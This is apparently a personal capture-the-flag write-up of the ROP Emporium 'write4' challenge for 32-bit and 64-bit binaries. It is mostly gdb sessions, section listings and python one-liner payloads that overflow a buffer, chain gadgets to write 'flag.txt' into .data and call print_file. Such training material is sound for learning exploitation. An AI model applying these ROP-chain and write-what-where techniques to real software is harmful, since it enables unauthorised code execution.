0xf7fbc000 + offset = pwnme

find the exact offset by disassebling in objdump:

nastyax0@LAPTOP-DNJPR47V:~/write432$ objdump -d --disassemble=pwnme libwrite432.so

libwrite432.so:     file format elf32-i386


Disassembly of section .init:

Disassembly of section .plt:

Disassembly of section .plt.got:

Disassembly of section .text:

0000069d <pwnme>:
 69d:   55                      push   %ebp
 69e:   89 e5                   mov    %esp,%ebp
 6a0:   53                      push   %ebx
 6a1:   83 ec 24                sub    $0x24,%esp
 6a4:   e8 f7 fe ff ff          call   5a0 <__x86.get_pc_thunk.bx>
...

0000069d is the offset we are looking for:

0xf7fbc000 + 0x0000069d = pwnme

Moreover, lets find if we can open flag.txt through our vulnerable binary:

We have been given flag.txt with no string avaible in binary, moreover theres this function called print_file

(gdb) disassemble print_file
Dump of assembler code for function print_file:
   0xf7fbc74f <+0>:     push   ebp
   0xf7fbc750 <+1>:     mov    ebp,esp
   0xf7fbc752 <+3>:     push   ebx
   0xf7fbc753 <+4>:     sub    esp,0x34
   0xf7fbc756 <+7>:     call   0xf7fbc5a0 <__x86.get_pc_thunk.bx>
   0xf7fbc75b <+12>:    add    ebx,0x18a5
   0xf7fbc761 <+18>:    mov    DWORD PTR [ebp-0xc],0x0
   ...

harcoding that address in our payload:

(gdb) run < <(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*44 + 
b"\x9d\xc6\xfb\xf7" + b"\x4f\xc7\xfb\xf7" + b"AAAA")')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/nastyax0/write432/write432 < 
<(python3 -c 'import sys; sys.stdout.buffer.write(
b"A"*44 + b"\x9d\xc6\xfb\xf7" + b"\x4f\xc7\xfb\xf7" + b"AAAA")')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 3, 0xf7fbc6a1 in pwnme () from ./libwrite432.so
(gdb) c
Continuing.
write4 by ROP Emporium
x86

�o ahead and give me the input already!

> Thank you!

Breakpoint 3, 0xf7fbc6a1 in pwnme () from ./libwrite432.so
(gdb) c
Continuing.
write4 by ROP Emporium
x86

�o ahead and give me the input already!

> Thank you!

Breakpoint 4, 0xf7fbc753 in print_file () from ./libwrite432.so
(gdb) c
Continuing.
Failed to open file: (null)
[Inferior 1 (process 486) exited with code 01]
(gdb)

Ofcourse thats null, as our ebp+0x8 is null, as we have overflow’d till ebp+0x4 with AAAA

(gdb) run < <(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*44 
+ b"\x9d\xc6\xfb\xf7" + b"\x4f\xc7\xfb\xf7" + b"AAAA")')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/nastyax0/write432/write432 < 
<(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*44 + 
b"\x9d\xc6\xfb\xf7" + b"\x4f\xc7\xfb\xf7" + b"AAAA")')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
write4 by ROP Emporium
x86

Go ahead and give me the input already!

> Thank you!
write4 by ROP Emporium
x86

Go ahead and give me the input already!

> Thank you!


Breakpoint 1, 0xf7fbc753 in print_file () from ./libwrite432.so
(gdb) x/16x $ebp
0xffffce60:     0x41414141      0x41414141      0x00000000      0xf7dab2d5
0xffffce70:     0x00000000      0x00000070      0xf7ffcff4      0xf7dab2d5
0xffffce80:     0x00000001      0xffffcf34      0xffffcf3c      0xffffcea0
0xffffce90:     0xf7fa4ff4      0x08048506      0x00000001      0xffffcf34
(gdb) x/x $ebp+0x8
0xffffce68:     0x00000000
(gdb) x/x $ebp+0x4
0xffffce64:     0x41414141
(gdb)

The challenge is intentionally forcing us to answer:

Where is writable memory? Inspect the ELF sections (.data, .bss, etc.). Determine which are writable and have enough unused space. How do we write bytes there? Find gadgets that let us move a value into memory (for example, a gadget conceptually like mov [reg], reg). Since the string is longer than a register, we are gonna typically write it in chunks. How do we use it? Once the string exists in writable memory, pass the address of that location as the first argument to print_file().

The important conceptual takeaway is that the challenge is not asking us to find a stack address that stays stable. Instead, it’s nudging us toward using a writable ELF section whose virtual address is fixed (assuming the binary isn’t built as PIE), which is a much more reliable place to store data.

Assuming you have read the instructions provided on the site, our goal is to locate and call the function print_file() with paramter string of flag.txt:

The challenge hint: In this challenge we won’t be using built-in functionality since that’s too similar to the previous challenges, instead we’ll be looking for gadgets that let us write a value to memory such as mov [reg], reg.

Challenge hints now makes total sense, we need to figure out a gadget and write-able space for our write where what primitive to work:

(gdb) run < <(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*44 + b"\x9d\xc6\xfb\xf7" + 
b"\x4f\xc7\xfb\xf7" + b"BBBB" + b"\x80\xcb\xff\xf7")')
Starting program: /home/nastyax0/write432/write432 < 
<(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*44 + 
b"\x9d\xc6\xfb\xf7" + b"\x4f\xc7\xfb\xf7" + b"BBBB" + b"\x80\xcb\xff\xf7")')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
write4 by ROP Emporium
x86

Go ahead and give me the input already!

> Thank you!
write4 by ROP Emporium
x86

Go ahead and give me the input already!

> Thank you!

Breakpoint 1, 0xf7fbc753 in print_file () from ./libwrite432.so
(gdb) set {int}0xf7ffcb80 = 0x67616c66
(gdb) set {int}0xf7ffcb84 = 0x7478742e
(gdb) set {char}0xf7ffcb88 = 0
(gdb) c
Continuing.
       571:     binding file ./libwrite432.so [0] to /lib32/libc.so.6 [0]: normal symbol `fopen' [GLIBC_2.1]
       571:     binding file ./libwrite432.so [0] to /lib32/libc.so.6 [0]: normal symbol `fgets' [GLIBC_2.0]
ROPE{a_placeholder_32byte_flag!}
       571:     binding file ./libwrite432.so [0] to /lib32/libc.so.6 [0]: normal symbol `fclose' [GLIBC_2.1]

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

Anyways, the theory works we might start making actual rop chain?

for some apparent reason it kept segfaulting:

(gdb) run < <(python3 -c 
'import sys; sys.stdout.buffer.write(b"\x66\x6c\x61\x67" + b"\x2e\x74\x78\x74" +
b"\x00\x00\x00\x00" + b"A"*24 + b"CCCC"+ b"\x30\xce\xff\xff" 
+ b"\x43\x85\x04\x08" + b"\x66\x6c\x61\x67" + b"\x2e\x74\x78\x74" 
+ b"\x9d\xc6\xfb\xf7" + b"\x4f\xc7\xfb\xf7" + b"BBBB" + 
b"\x80\xcb\xff\xf7")')
Starting program: /home/nastyax0/write432/write432 < 
<(python3 -c 'import sys; sys.stdout.buffer.write(b"\x66\x6c\x61\x67" 
+ b"\x2e\x74\x78\x74" +b"\x00\x00\x00\x00" + b"A"*24 + b"CCCC"+ b"\x30\xce\xff\xff" 
+ b"\x43\x85\x04\x08" + b"\x66\x6c\x61\x67" + b"\x2e\x74\x78\x74" 
+ b"\x9d\xc6\xfb\xf7" + b"\x4f\xc7\xfb\xf7" + b"BBBB" + b"\x80\xcb\xff\xf7")')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 3, 0xf7fbc6a1 in pwnme () from ./libwrite432.so
(gdb) c
Continuing.
write4 by ROP Emporium
x86

Go ahead and give me the input already!

> Thank you!

Program received signal SIGSEGV, Segmentation fault.
0x08048543 in usefulGadgets ()
(gdb) disassemble usefulGadgets
Dump of assembler code for function usefulGadgets:
=> 0x08048543 <+0>:     mov    DWORD PTR [edi],ebp
   0x08048545 <+2>:     ret
   0x08048546 <+3>:     xchg   ax,ax
   0x08048548 <+5>:     xchg   ax,ax
   0x0804854a <+7>:     xchg   ax,ax
   0x0804854c <+9>:     xchg   ax,ax
   0x0804854e <+11>:    xchg   ax,ax
End of assembler dump.
(gdb) x/s $ebp
0xffffce30:     "flag.txt"
(gdb) x/s $ebp+0x4
0xffffce34:     ".txt"
(gdb) x/s $ebp+0x8
0xffffce38:     ""

i dont really understand why it kept segfaulting despite correct addressing and value in the address:

(gdb) x/x $eip
0x8048543 <usefulGadgets>:      0x66c32f89
(gdb) disassemble usefulGadgets
Dump of assembler code for function usefulGadgets:
=> 0x08048543 <+0>:     mov    DWORD PTR [edi],ebp
   0x08048545 <+2>:     ret
   0x08048546 <+3>:     xchg   ax,ax
   0x08048548 <+5>:     xchg   ax,ax
   0x0804854a <+7>:     xchg   ax,ax
   0x0804854c <+9>:     xchg   ax,ax
   0x0804854e <+11>:    xchg   ax,ax
End of assembler dump.
(gdb) x/s $eip
0x8048543 <usefulGadgets>:      "\211/\303f\220f\220f\220f\220f\220UWVS\350\347\376\377\377\201ç\032"
(gdb) x/a $eip
0x8048543 <usefulGadgets>:      0x66c32f89
(gdb) x/a $ebp
0xffffce30:     0x67616c66
(gdb) x/s $ebp
0xffffce30:     "flag.txt"
(gdb) x/x $edi
0xf7ffcb80:     0x00
(gdb) run < <(python3 -c 'import sys; sys.stdout.buffer.write(b"\x66\x6c\x61\x67" + 
b"\x2e\x74\x78\x74" +b"\x00\x00\x00\x00" + b"A"*24 + b"CCCC"+ b"\x30\xce\xff\xff" + 
b"\x43\x85\x04\x08" + b"\x66\x6c\x61\x67" + b"\x2e\x74\x78\x74" + b"\x9d\xc6\xfb\xf7" 
+ b"\x4f\xc7\xfb\xf7" + b"BBBB" + b"\x80\xcb\xff\xf7")')

Why does .data.rel.ro exist?

Some global variables:

cannot live in .rodata because the dynamic linker must relocate them at load time (fix addresses). should become read-only afterward for security.

The process is:

Hence the name:

data → contains data rel → needs relocation ro → becomes read-only afterward Looks like we genuinely cant do a thing about it, is theres any way we can make edi not point towards .data.rel.ro section? cause usefulGadgets sits at great section

How about clearing the edi? like pop edi before we jump to usefulGadgets?

0x080485aa : pop edi ; pop ebp ; ret

(gdb) run < <(python3 -c 'import sys; sys.stdout.buffer.write(b"\x66\x6c\x61\x67" + 
b"\x2e\x74\x78\x74" +b"\x00\x00\x00\x00" + b"A"*24 + b"CCCC" + b"\x43\x85\x04\x08" + 
b"\xaa\x85\x04\x08" +b"\x30\xce\xff\xff"+ b"\x66\x6c\x61\x67" + b"\x43\x85\x04\x08" + 
b"\x2e\x74\x78\x74" + b"\x9d\xc6\xfb\xf7" + b"\x4f\xc7\xfb\xf7" + b"BBBB" + b"\x80\xcb\xff\xf7")')

(gdb) run < <(python3 -c 'import sys; sys.stdout.buffer.write(b"\x66\x6c\x61\x67" + 
b"\x2e\x74\x78\x74" +b"\x00\x00\x00\x00" + b"A"*24 + b"CCCC" + b"\x43\x85\x04\x08" + 
b"\xaa\x85\x04\x08" +b"\x30\xce\xff\xff"+ b"\x34\xce\xff\xff"+ b"\x43\x85\x04\x08" + 
b"\x4f\xc7\xfb\xf7" + b"\x30\xce\xff\xff" + b"\x00\x00\x00\x00")')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/nastyax0/write432/write432 < <(python3 -c 'import sys; sys.stdout.buffer.write(
b"\x66\x6c\x61\x67" + b"\x2e\x74\x78\x74" +b"\x00\x00\x00\x00" 
+ b"A"*24 + b"CCCC" + b"\x43\x85\x04\x08" + b"\xaa\x85\x04\x08" 
+b"\x30\xce\xff\xff"+ b"\x34\xce\xff\xff"+ b"\x43\x85\x04\x08" 
+ b"\x4f\xc7\xfb\xf7" + b"\x30\xce\xff\xff" + b"\x00\x00\x00\x00")')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 3, 0x080485aa in __libc_csu_init ()
(gdb) c
Continuing.

Breakpoint 2, 0xf7fbc69d in pwnme () from ./libwrite432.so
(gdb)
Continuing.
write4 by ROP Emporium
x86

Go ahead and give me the input already!

> Thank you!

Breakpoint 3, 0x080485aa in __libc_csu_init ()
(gdb)
Continuing.

Breakpoint 1, 0x08048543 in usefulGadgets ()
(gdb)
Continuing.

Breakpoint 4, 0xf7fbc74f in print_file () from ./libwrite432.so
(gdb)
Continuing.
Failed to open file: (null)
[Inferior 1 (process 90) exited with code 01]
(gdb)
Breakpoint 4, 0xf7fbc74f in print_file () from ./libwrite432.so
(gdb)
Continuing.
Failed to open file: [���flag.txt
[Inferior 1 (process 134) exited with code 01]
(gdb)
The program is not being run.
(gdb) run < <(python3 -c 'import sys; sys.stdout.buffer.write(b"AAAA"+b"\x66\x6c\x61\x67" 
+ b"\x2e\x74\x78\x74" +b"\x00\x00\x00\x00" + b"A"*20 + b"CCCC" + b"\x43\x85\x04\x08" + 
b"\xaa\x85\x04\x08" +b"\x30\xce\xff\xff"+ b"\x30\xcb\xff\xf7" + b"\x43\x85\x04\x08" + 
b"\x4f\xc7\xfb\xf7" + b"\x9d\xc6\xfb\xf7" + b"\x34\xce\xff\xff")')
Starting program: /home/nastyax0/write432/write432 < 
<(python3 -c 'import sys; sys.stdout.buffer.write(b"AAAA"+b"\x66\x6c\x61\x67" 
+ b"\x2e\x74\x78\x74" +b"\x00\x00\x00\x00" + b"A"*20 + b"CCCC" + b"\x43\x85\x04\x08" + b"\xaa\x85\x04\x08" 
+b"\x30\xce\xff\xff"+ b"\x30\xcb\xff\xf7" + b"\x43\x85\x04\x08" + b"\x4f\xc7\xfb\xf7" 
+ b"\x9d\xc6\xfb\xf7" + b"\x34\xce\xff\xff")')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

buffer size: 40 bytes (ebp-0x28)

(gdb) x/x 0x08048543
0x8048543 <usefulGadgets>:      0x66c32f89
(gdb) x/x 0x080485aa
0x80485aa <__libc_csu_init+90>: 0x8dc35d5f
(gdb) x/x 0xffffce30
0xffffce30:     0xffffce70
(gdb) x/x 0xffffcb30
0xffffcb30:     0x00000000
(gdb) x/x 0xf7fbc74f
0xf7fbc74f <print_file>:        0x53e58955
(gdb) x/x 0xf7fbc69d
0xf7fbc69d <pwnme>:     0x53e58955
(gdb) x/x 0xffffce34
0xffffce34:     0xf7fbc746
(gdb) x/x 0xf7fbc746
0xf7fbc746 <pwnme+169>: 0x9010c483
(gdb) x/16wx 0xffffce34
0xffffce34:     0xf7fbc746      0xf7fbc840      0xffffce48      0x00000200
0xffffce44:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffce54:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffce64:     0x00000000      0x43434343      0x43434343      0xf7ffcb30

variable i chose to work with:


nastyax0@LAPTOP-DNJPR47V:~/write432$ readelf -S write432
There are 30 section headers, starting at offset 0x17a4:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        08048154 000154 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            08048168 000168 000020 00   A  0   0  4
  [ 3] .note.gnu.bu[...] NOTE            08048188 000188 000024 00   A  0   0  4
  [ 4] .gnu.hash         GNU_HASH        080481ac 0001ac 00003c 04   A  5   0  4
  [ 5] .dynsym           DYNSYM          080481e8 0001e8 0000b0 10   A  6   1  4
  [ 6] .dynstr           STRTAB          08048298 000298 00008b 00   A  0   0  1
  [ 7] .gnu.version      VERSYM          08048324 000324 000016 02   A  5   0  2
  [ 8] .gnu.version_r    VERNEED         0804833c 00033c 000020 00   A  6   1  4
  [ 9] .rel.dyn          REL             0804835c 00035c 000008 08   A  5   0  4
  [10] .rel.plt          REL             08048364 000364 000018 08  AI  5  23  4
  [11] .init             PROGBITS        0804837c 00037c 000023 00  AX  0   0  4
  [12] .plt              PROGBITS        080483a0 0003a0 000040 04  AX  0   0 16
  [13] .plt.got          PROGBITS        080483e0 0003e0 000008 08  AX  0   0  8
  [14] .text             PROGBITS        080483f0 0003f0 0001c2 00  AX  0   0 16
  [15] .fini             PROGBITS        080485b4 0005b4 000014 00  AX  0   0  4
  [16] .rodata           PROGBITS        080485c8 0005c8 000014 00   A  0   0  4
  [17] .eh_frame_hdr     PROGBITS        080485dc 0005dc 000044 00   A  0   0  4
  [18] .eh_frame         PROGBITS        08048620 000620 000114 00   A  0   0  4
  [19] .init_array       INIT_ARRAY      08049efc 000efc 000004 04  WA  0   0  4
  [20] .fini_array       FINI_ARRAY      08049f00 000f00 000004 04  WA  0   0  4
  [21] .dynamic          DYNAMIC         08049f04 000f04 0000f8 08  WA  6   0  4
  [22] .got              PROGBITS        08049ffc 000ffc 000004 04  WA  0   0  4
  [23] .got.plt          PROGBITS        0804a000 001000 000018 04  WA  0   0  4
  [24] .data             PROGBITS        0804a018 001018 000008 00  WA  0   0  4
  [25] .bss              NOBITS          0804a020 001020 000004 00  WA  0   0  1
  [26] .comment          PROGBITS        00000000 001020 000029 01  MS  0   0  1
  [27] .symtab           SYMTAB          00000000 00104c 000440 10     28  47  4
  [28] .strtab           STRTAB          00000000 00148c 000211 00      0   0  1
  [29] .shstrtab         STRTAB          00000000 00169d 000105 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  D (mbind), p (processor specific)

[24] .data PROGBITS 0804a018 001018 000008 00 WA 0 is great as it’s 8 bytes long.

Breakpoint 1, 0xf7fbc6a1 in pwnme () from ./libwrite432.so
(gdb) run < <(python3 -c 'import sys; sys.stdout.buffer.write(b"AAAA" + b"\x66\x6c\x61\x67" + 
b"\x2e\x74\x78\x74" +b"\x00\x00\x00\x00" + b"A"*20 + b"CCCC" + b"\x43\x85\x04\x08" + b"\xaa\x85\x04\x08" + 
b"\x18\xa0\x04\x08"+ b"\x66\x6c\x61\x67" +b"\x43\x85\x04\x08"+ b"\xaa\x85\x04\x08" + b"\x1c\xa0\x04\x08"+ 
b"\x2e\x74\x78\x74" +b"\x43\x85\x04\x08" + b"\xaa\x85\x04\x08" + b"\x20\xa0\x04\x08"+ b"\x00\x00\x00\x00" + 
b"\x43\x85\x04\x08" + b"\x4f\xc7\xfb\xf7" + b"\x9d\xc6\xfb\xf7" + b"\x18\xa0\x04\x08")')
Starting program: /home/nastyax0/write432/write432 < <(python3 -c 'import sys; sys.stdout.buffer.write(b"AAAA" 
+ b"\x66\x6c\x61\x67" + b"\x2e\x74\x78\x74" +b"\x00\x00\x00\x00" + b"A"*20 + b"CCCC" + 
b"\x43\x85\x04\x08" + b"\xaa\x85\x04\x08" + b"\x18\xa0\x04\x08"+ b"\x66\x6c\x61\x67" 
+b"\x43\x85\x04\x08"+ b"\xaa\x85\x04\x08" + b"\x1c\xa0\x04\x08"+ b"\x2e\x74\x78\x74" 
+b"\x43\x85\x04\x08" + b"\xaa\x85\x04\x08" + b"\x20\xa0\x04\x08"+ b"\x00\x00\x00\x00"
 + b"\x43\x85\x04\x08" + b"\x4f\xc7\xfb\xf7" + b"\x9d\xc6\xfb\xf7" + b"\x18\xa0\x04\x08")')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
write4 by ROP Emporium
x86

Go ahead and give me the input already!

> Thank you!
ROPE{a_placeholder_32byte_flag!}
write4 by ROP Emporium
x86

Go ahead and give me the input already!

> Thank you!

Program received signal SIGSEGV, Segmentation fault.
0x0804a018 in data_start ()
(gdb)

Buffer Overflow ↓ pop ; pop ; ret ↓ Writable Address (.data/.bss) Value to Write ("flag") ↓ mov [reg1], reg2 ; ret ↓ pop ; pop ; ret ↓ Writable Address + 4 Value to Write (".txt") ↓ mov [reg1], reg2 ; ret ↓ print_file/system ↓ Return Address (optional) ↓ Pointer to "flag.txt"

nastyax0@LAPTOP-DNJPR47V:~/write432$ python3 -c 'import sys; sys.stdout.buffer.write(
    b"AAAA" +
    b"\x66\x6c\x61\x67" +
    b"\x2e\x74\x78\x74" +
    b"\x00\x00\x00\x00" +
    b"A"*20 +
    b"CCCC" +
    b"\x43\x85\x04\x08" +
    b"\xaa\x85\x04\x08" +
    b"\x18\xa0\x04\x08" +
    b"\x66\x6c\x61\x67" +
    b"\x43\x85\x04\x08" +
    b"\xaa\x85\x04\x08" +
    b"\x1c\xa0\x04\x08" +
    b"\x2e\x74\x78\x74" +
    b"\x43\x85\x04\x08" +
    b"\xaa\x85\x04\x08" +
    b"\x20\xa0\x04\x08" +
    b"\x00\x00\x00\x00" +
    b"\x43\x85\x04\x08" +
    b"\x4f\xc7\xfb\xf7" +
    b"\x9d\xc6\xfb\xf7" +
    b"\x18\xa0\x04\x08"
)' | ./write432
write4 by ROP Emporium
x86

Go ahead and give me the input already!

> Thank you!
ROPE{a_placeholder_32byte_flag!}
write4 by ROP Emporium
x86

Go ahead and give me the input already!

> Thank you!
Segmentation fault (core dumped)

For 64 bit-binary:

As in similar to 32 bit binary due to fact unlike last time, this time we have used rop chain in 32 bit binary too. A apparent concept remains same, but now underlying assembly slightly changes in terms of registers and calling conventions too

(gdb) disassemble print_file
Dump of assembler code for function print_file:
   0x00007ffff7c00943 <+0>:     push   rbp
   0x00007ffff7c00944 <+1>:     mov    rbp,rsp
   0x00007ffff7c00947 <+4>:     sub    rsp,0x40
   0x00007ffff7c0094b <+8>:     mov    QWORD PTR [rbp-0x38],rdi    #rdi getting dumped in rbp-0x38
   0x00007ffff7c0094f <+12>:    mov    QWORD PTR [rbp-0x8],0x0
   0x00007ffff7c00957 <+20>:    mov    rax,QWORD PTR [rbp-0x38]
   0x00007ffff7c0095b <+24>:    lea    rsi,[rip+0xd5]        # 0x7ffff7c00a37
   0x00007ffff7c00962 <+31>:    mov    rdi,rax
   0x00007ffff7c00965 <+34>:    call   0x7ffff7c007a0 <fopen@plt>
   0x00007ffff7c0096a <+39>:    mov    QWORD PTR [rbp-0x8],rax
   0x00007ffff7c0096e <+43>:    cmp    QWORD PTR [rbp-0x8],0x0
   0x00007ffff7c00973 <+48>:    jne    0x7ffff7c00997 <print_file+84>
   0x00007ffff7c00975 <+50>:    mov    rax,QWORD PTR [rbp-0x38]
   0x00007ffff7c00979 <+54>:    mov    rsi,rax
   0x00007ffff7c0097c <+57>:    lea    rdi,[rip+0xb6]        # 0x7ffff7c00a39
   0x00007ffff7c00983 <+64>:    mov    eax,0x0
   0x00007ffff7c00988 <+69>:    call   0x7ffff7c00750 <printf@plt>
   ...
(gdb) disassemble usefulGadgets
Dump of assembler code for function usefulGadgets:
   0x0000000000400628 <+0>:     mov    QWORD PTR [r14],r15   #we have r14
   0x000000000040062b <+3>:     ret
   0x000000000040062c <+4>:     nop    DWORD PTR [rax+0x0]
End of assembler dump.

basically we need to link [r14] and rdi somehow? somehow the value of rdi == value in r14, moreover the string isnt paassed directly but as address.

   0x0000000000400690 <+96>:    pop    r14
   0x0000000000400692 <+98>:    pop    r15
   0x0000000000400694 <+100>:   ret

by using above gadgets we make sure, our values that is address we would like to write and value we would like to write in that address is passed:

value to write in that adddress: flag.txt address: ????

like previously we need an empty address with read and write permissions and not used:

  [23] .data             PROGBITS         0000000000601028  00001028
       0000000000000010  0000000000000000  WA       0     0     8

im going to use the above

value to write in that adddress: flag.txt b”\x66\x6c\x61\x67\x2e\x74\x78\x74” address: ???? b”\x28\x10\x60\x00\x00\x00\x00\x00” pop r14, r15 b”\x28\x10\x60\x00\x00\x00\x00\x00”

we have fixed our r14 and r15, but we need to fix rdi too?

it will be better if address of rdi is changed to r14? that is b”\x28\x10\x60\x00\x00\x00\x00\x00”. we can do that using pop rdi, as pop operation takes up esp and dumps it up to rdi?

(gdb) x/i 0x0000000000400693
   0x400693 <__libc_csu_init+99>:       pop    rdi
(gdb)

we need to make change to rdi before print_file (b”\x43\x09\xc0\xf7\xff\x7f\x00\x00”) starts

“A”*16 ↓ pop r14 ; pop r15 ; ret ↓ 0x601028 (.data) “flag.txt” ↓ mov [r14], r15 ; ret ↓ pop rdi ; ret ↓ 0x601028 ↓ print_file

nastyax0@LAPTOP-DNJPR47V:~$ python3 -c 'import sys; sys.stdout.buffer.write(
    b"A"*16 +
    b"BBBBBBBB" +
    b"CCCCCCCC" +
    b"DDDDDDDD" +
    b"\x90\x06\x40\x00\x00\x00\x00\x00" +
    b"\x28\x10\x60\x00\x00\x00\x00\x00" +
    b"\x66\x6c\x61\x67\x2e\x74\x78\x74" +
    b"\x28\x06\x40\x00\x00\x00\x00\x00" +
    b"\x93\x06\x40\x00\x00\x00\x00\x00" +
    b"\x28\x10\x60\x00\x00\x00\x00\x00" +
    b"\x43\x09\xc0\xf7\xff\x7f\x00\x00" +
    b"\x38\x10\x60\x00\x00\x00\x00\x00"
)' | ./write4
write4 by ROP Emporium
x86_64

Go ahead and give me the input already!

> Thank you!
ROPE{a_placeholder_32byte_flag!}
Segmentation fault (core dumped)
nastyax0@LAPTOP-DNJPR47V:~$

ROP Emporium – badchars Challenge (32-bit & 64-bit)

Download the binaries: https://ropemporium.com/challenge/badchars.html

Download any architecture type that interests you.


Binary Analysis

Assuming you have read the instructions provided on the site, our goal is to locate and call the function print_file() with paramter string of flag.txt:

The challenge hint: In this challenge we won’t be using built-in functionality since that’s too similar to the previous challenges, instead we’ll be looking for gadgets that let us write a value to memory such as mov [reg], reg.

The site has hinted us at gadget finding and chaining.

Moreover, inroduction to Write-what-where Condition:

Any condition where the attacker has the ability to write an arbitrary value to an arbitrary location, often as the result of a buffer overflow.

https://martellosecurity.com/kb/mitre/cwe/123/

pull out gdb on the binary: 32 bit binary